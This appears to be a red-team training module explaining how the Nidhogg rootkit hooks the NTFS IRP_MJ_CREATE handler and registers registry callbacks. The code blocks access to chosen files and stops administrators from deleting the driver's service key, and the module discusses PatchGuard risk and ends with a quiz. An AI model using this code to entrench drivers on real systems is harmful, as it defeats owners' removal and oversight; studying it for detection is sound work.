Difficulty: Intermediate

Module 4: File & Registry Protection

IRP hooking for file protection and CmRegisterCallbackEx for registry defense.

Module Objective

Understand how Nidhogg protects files by hooking IRP major function handlers on the filesystem driver, how registry keys and values are protected using CmRegisterCallbackEx, the mechanics of pre-operation and post-operation callbacks, and the architectural considerations for each approach.

1. Windows I/O Architecture and File Systems

All file operations on Windows pass through the I/O Manager, which routes requests as IRPs to the appropriate filesystem driver. The chain looks like this:

File I/O Request Flow

User App
CreateFile()
I/O Manager
Creates IRP
Filter Drivers
Minifilters
NTFS.sys
Filesystem
Disk Driver
Storage

The filesystem driver (typically NTFS) exposes a DRIVER_OBJECT with a MajorFunction table, just like any driver. Each entry in this table points to a handler for a specific IRP type. By replacing a pointer in this table, a rootkit can intercept all file operations of that type system-wide.

2. IRP Major Function Hooking

Nidhogg protects files by hooking the IRP_MJ_CREATE handler of the NTFS driver. IRP_MJ_CREATE is sent for every file open/create operation, making it the ideal interception point:

C// Global variables for the hook
PDRIVER_OBJECT g_NtfsDriverObject = NULL;
PDRIVER_DISPATCH g_OriginalNtfsMjCreate = NULL;

NTSTATUS InstallFileProtectionHook() {
    UNICODE_STRING ntfsName = RTL_CONSTANT_STRING(L"\\FileSystem\\Ntfs");
    NTSTATUS status;

    // 1. Get a pointer to the NTFS driver object
    status = ObReferenceObjectByName(
        &ntfsName,
        OBJ_CASE_INSENSITIVE,
        NULL,
        0,
        *IoDriverObjectType,
        KernelMode,
        NULL,
        (PVOID*)&g_NtfsDriverObject
    );
    if (!NT_SUCCESS(status)) return status;

    // 2. Save the original IRP_MJ_CREATE handler
    g_OriginalNtfsMjCreate =
        g_NtfsDriverObject->MajorFunction[IRP_MJ_CREATE];

    // 3. Replace with our hook function
    InterlockedExchangePointer(
        (PVOID*)&g_NtfsDriverObject->MajorFunction[IRP_MJ_CREATE],
        (PVOID)HookedNtfsMjCreate
    );

    ObDereferenceObject(g_NtfsDriverObject);
    return STATUS_SUCCESS;
}

PatchGuard Consideration

Modifying the MajorFunction table of a filesystem driver is a form of hooking that PatchGuard may or may not monitor depending on the Windows version and the specific driver. In some builds, PatchGuard checks the NTFS driver object; in others, it does not. Nidhogg uses this approach because it is simpler than writing a proper minifilter, but a production rootkit might use a minifilter registration instead to avoid PatchGuard entirely.

3. The IRP_MJ_CREATE Hook Function

The hook intercepts every file open request, checks if the target file is in the protected list, and returns STATUS_ACCESS_DENIED if it is:

CNTSTATUS HookedNtfsMjCreate(PDEVICE_OBJECT DeviceObject, PIRP Irp) {
    PIO_STACK_LOCATION irpStack = IoGetCurrentIrpStackLocation(Irp);
    PFILE_OBJECT fileObject = irpStack->FileObject;

    // Check if this file is in our protected list
    if (fileObject && fileObject->FileName.Buffer) {
        if (IsProtectedFile(&fileObject->FileName)) {
            // Block access to this file
            Irp->IoStatus.Status = STATUS_ACCESS_DENIED;
            Irp->IoStatus.Information = 0;
            IoCompleteRequest(Irp, IO_NO_INCREMENT);
            return STATUS_ACCESS_DENIED;
        }
    }

    // Not protected - pass through to original handler
    return g_OriginalNtfsMjCreate(DeviceObject, Irp);
}

The FILE_OBJECT

The FILE_OBJECT structure represents an open instance of a file. Its FileName field contains the path of the file being opened. By checking this path against a list of protected files, the hook can selectively block access while allowing all other file operations to proceed normally.

4. Protected File List Management

Nidhogg maintains an internal list of protected file paths. The user-mode client adds and removes entries via IOCTLs:

C// Protected files data structure
#define MAX_PROTECTED_FILES 64

typedef struct _PROTECTED_FILES {
    UNICODE_STRING FilePaths[MAX_PROTECTED_FILES];
    ULONG Count;
    FAST_MUTEX Lock;  // Synchronization for concurrent access
} PROTECTED_FILES, *PPROTECTED_FILES;

PROTECTED_FILES g_ProtectedFiles = { 0 };

BOOLEAN IsProtectedFile(PUNICODE_STRING filePath) {
    ExAcquireFastMutex(&g_ProtectedFiles.Lock);

    for (ULONG i = 0; i < g_ProtectedFiles.Count; i++) {
        // Case-insensitive comparison
        if (RtlCompareUnicodeString(
                filePath,
                &g_ProtectedFiles.FilePaths[i],
                TRUE  // CaseInsensitive
            ) == 0) {
            ExReleaseFastMutex(&g_ProtectedFiles.Lock);
            return TRUE;
        }
    }

    ExReleaseFastMutex(&g_ProtectedFiles.Lock);
    return FALSE;
}

NTSTATUS AddProtectedFile(PUNICODE_STRING filePath) {
    ExAcquireFastMutex(&g_ProtectedFiles.Lock);

    if (g_ProtectedFiles.Count >= MAX_PROTECTED_FILES) {
        ExReleaseFastMutex(&g_ProtectedFiles.Lock);
        return STATUS_INSUFFICIENT_RESOURCES;
    }

    // Allocate and copy the path string
    ULONG idx = g_ProtectedFiles.Count;
    g_ProtectedFiles.FilePaths[idx].Buffer =
        ExAllocatePool2(POOL_FLAG_PAGED, filePath->Length, 'fdiN');
    // ... copy string, increment count ...

    ExReleaseFastMutex(&g_ProtectedFiles.Lock);
    return STATUS_SUCCESS;
}

5. Registry Callback Architecture

For registry protection, Nidhogg uses CmRegisterCallbackEx, a fully documented and supported kernel API. Unlike IRP hooking, this is the designed mechanism for monitoring and filtering registry operations:

C// Registry callback registration
LARGE_INTEGER g_RegCallbackCookie;  // Handle for unregistration

NTSTATUS InstallRegistryProtection() {
    UNICODE_STRING altitude = RTL_CONSTANT_STRING(L"321000");

    NTSTATUS status = CmRegisterCallbackEx(
        RegistryCallback,       // Our callback function
        &altitude,              // Altitude (determines ordering)
        DriverObject,           // Our driver object
        NULL,                   // Context (optional)
        &g_RegCallbackCookie,   // Cookie for unregistration
        NULL                    // Reserved
    );

    return status;
}

// Unregistration during driver unload
VOID UninstallRegistryProtection() {
    CmUnRegisterCallback(g_RegCallbackCookie);
}

Why CmRegisterCallbackEx Is Preferred

CmRegisterCallbackEx is a supported, documented API that provides proper callback ordering via altitudes, clean registration/unregistration semantics, and does not trigger PatchGuard. Unlike hooking the SSDT or inline-patching kernel functions, registry callbacks are the legitimate way to intercept registry operations from a kernel driver.

6. The Registry Callback Function

The registry callback receives notifications for all registry operations system-wide. Nidhogg filters these to protect specific keys and values:

CNTSTATUS RegistryCallback(
    PVOID CallbackContext,
    PVOID Argument1,    // REG_NOTIFY_CLASS (operation type)
    PVOID Argument2     // Operation-specific information structure
) {
    UNREFERENCED_PARAMETER(CallbackContext);
    REG_NOTIFY_CLASS notifyClass = (REG_NOTIFY_CLASS)(ULONG_PTR)Argument1;

    switch (notifyClass) {
    // Pre-operation callbacks (can block the operation)
    case RegNtPreDeleteKey: {
        PREG_DELETE_KEY_INFORMATION info =
            (PREG_DELETE_KEY_INFORMATION)Argument2;
        if (IsProtectedRegistryKey(info->Object))
            return STATUS_ACCESS_DENIED;  // Block deletion
        break;
    }
    case RegNtPreSetValueKey: {
        PREG_SET_VALUE_KEY_INFORMATION info =
            (PREG_SET_VALUE_KEY_INFORMATION)Argument2;
        if (IsProtectedRegistryKey(info->Object))
            return STATUS_ACCESS_DENIED;  // Block value modification
        break;
    }
    case RegNtPreDeleteValueKey: {
        PREG_DELETE_VALUE_KEY_INFORMATION info =
            (PREG_DELETE_VALUE_KEY_INFORMATION)Argument2;
        if (IsProtectedRegistryKey(info->Object))
            return STATUS_ACCESS_DENIED;  // Block value deletion
        break;
    }
    case RegNtPreRenameKey: {
        PREG_RENAME_KEY_INFORMATION info =
            (PREG_RENAME_KEY_INFORMATION)Argument2;
        if (IsProtectedRegistryKey(info->Object))
            return STATUS_ACCESS_DENIED;  // Block key rename
        break;
    }
    default:
        break;
    }

    return STATUS_SUCCESS;  // Allow all other operations
}

7. Registry Operation Types

The REG_NOTIFY_CLASS enumeration defines all interceptable registry operations. Nidhogg focuses on the destructive/modifying operations:

Notify ClassOperationNidhogg Action
RegNtPreDeleteKeyDeleting a registry keyBlock if key is protected
RegNtPreSetValueKeySetting/modifying a valueBlock if key is protected
RegNtPreDeleteValueKeyDeleting a valueBlock if key is protected
RegNtPreRenameKeyRenaming a keyBlock if key is protected
RegNtPreCreateKeyExCreating a new subkeyAllow (does not modify existing)
RegNtPreQueryValueKeyReading a valueAllow (read-only, not destructive)

Pre vs Post Callbacks

Pre-operation callbacks fire before the operation occurs. Returning STATUS_ACCESS_DENIED blocks the operation entirely. Post-operation callbacks fire after the operation completes and can modify the result but cannot prevent the operation. For protection, pre-operation callbacks are essential because they can veto the operation before any change is made.

8. Resolving Registry Key Objects

Registry callbacks receive a PVOID Object pointer to the registry key object. To determine if this key is protected, Nidhogg must resolve the full key path:

CBOOLEAN IsProtectedRegistryKey(PVOID keyObject) {
    PCUNICODE_STRING keyName = NULL;

    // CmCallbackGetKeyObjectIDEx resolves the key object to its full path
    NTSTATUS status = CmCallbackGetKeyObjectIDEx(
        &g_RegCallbackCookie,  // Our registration cookie
        keyObject,              // The key object from the callback
        NULL,                   // ObjectID (not needed)
        &keyName,               // Full key path output
        0                       // Flags
    );

    if (!NT_SUCCESS(status) || !keyName)
        return FALSE;

    // Check against our protected keys list
    BOOLEAN isProtected = FALSE;
    ExAcquireFastMutex(&g_ProtectedKeys.Lock);

    for (ULONG i = 0; i < g_ProtectedKeys.Count; i++) {
        if (RtlCompareUnicodeString(
                keyName,
                &g_ProtectedKeys.KeyPaths[i],
                TRUE
            ) == 0) {
            isProtected = TRUE;
            break;
        }
    }

    ExReleaseFastMutex(&g_ProtectedKeys.Lock);
    CmCallbackReleaseKeyObjectIDEx(keyName);  // Free the string
    return isProtected;
}

9. Protecting the Driver's Own Registry Key

An important use case: Nidhogg can protect its own service registry key, preventing administrators from deleting or modifying the driver's configuration:

TextProtected key: \REGISTRY\MACHINE\SYSTEM\CurrentControlSet\Services\Nidhogg

Effect:
- sc delete Nidhogg        --> fails with ACCESS_DENIED
- reg delete HKLM\SYSTEM\...\Services\Nidhogg --> fails
- regedit manual deletion   --> fails
- Any tool modifying the key --> fails

The driver service persists across reboots because the
registry entry cannot be removed while the driver is loaded.

Operational Consideration

Self-protecting the registry key makes the rootkit persistent but also makes clean removal harder. During red team engagements, the team should always maintain a mechanism to disable protections (e.g., a specific IOCTL that removes the key from the protected list). Leaving an unremovable rootkit on a client system is an operational failure.

10. Comparison: IRP Hooking vs Minifilter vs Callback

MechanismUsed ForPatchGuard SafeComplexity
IRP MajorFunction HookingFile protection in NidhoggRisky on newer buildsLow — simple pointer swap
Minifilter (FltRegisterFilter)Legitimate filesystem filteringYes — designed APIHigh — full minifilter framework
CmRegisterCallbackExRegistry protection in NidhoggYes — documented APILow — single callback function
ObRegisterCallbacksProcess/thread handle protectionYes — documented APILow — used in Module 3

Knowledge Check

Q1: Why does Nidhogg hook IRP_MJ_CREATE specifically for file protection?

A) IRP_MJ_CREATE is sent for every file open operation; blocking it prevents any access to the protected file
B) IRP_MJ_CREATE is the only IRP type that can be hooked
C) IRP_MJ_CREATE handles file deletion operations
D) IRP_MJ_CREATE is required by PatchGuard

Q2: What is the advantage of CmRegisterCallbackEx over SSDT hooking for registry protection?

A) CmRegisterCallbackEx is faster
B) CmRegisterCallbackEx provides access to more registry operations
C) CmRegisterCallbackEx is a documented API that does not trigger PatchGuard, unlike SSDT modifications
D) CmRegisterCallbackEx works on all Windows versions including XP

Q3: How does a pre-operation registry callback block an operation?

A) By setting a flag in the registry key object
B) By returning STATUS_ACCESS_DENIED, which prevents the operation from executing
C) By deleting the IRP associated with the operation
D) By unmapping the registry hive from memory